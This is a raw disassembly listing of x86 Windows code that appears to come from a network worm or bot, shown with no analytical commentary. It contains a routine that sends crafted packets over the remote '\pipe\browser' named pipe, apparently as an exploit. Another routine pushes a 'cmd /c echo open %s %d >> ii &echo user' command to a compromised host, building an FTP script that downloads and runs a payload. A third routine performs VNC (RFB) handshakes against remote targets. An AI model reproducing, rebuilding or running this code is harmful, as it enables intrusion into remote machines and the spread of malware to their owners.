		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0C4h	; Ä
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  4Ch	; L
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  28h	; (
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F0876h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432224
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432210
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26507ADh
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B8[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_432207+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321AC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321B4[esi]
		push	7
		add	eax, edi
		push	offset dword_4321A0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432040
		push	eax
		call	sub_41C310
		mov	eax, dword_4321B0[esi]
		add	esp, 30h
		cmp	byte_4321B8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321D0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321D0


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 26507ADh
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26E0876h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 26709FBh
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 2680110h
		nop
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; °
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  58h	; X
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db 0E8h	; è
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 252F56E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_431414o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322CC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431418[eax]
		lea	eax, dword_431418[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433510
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
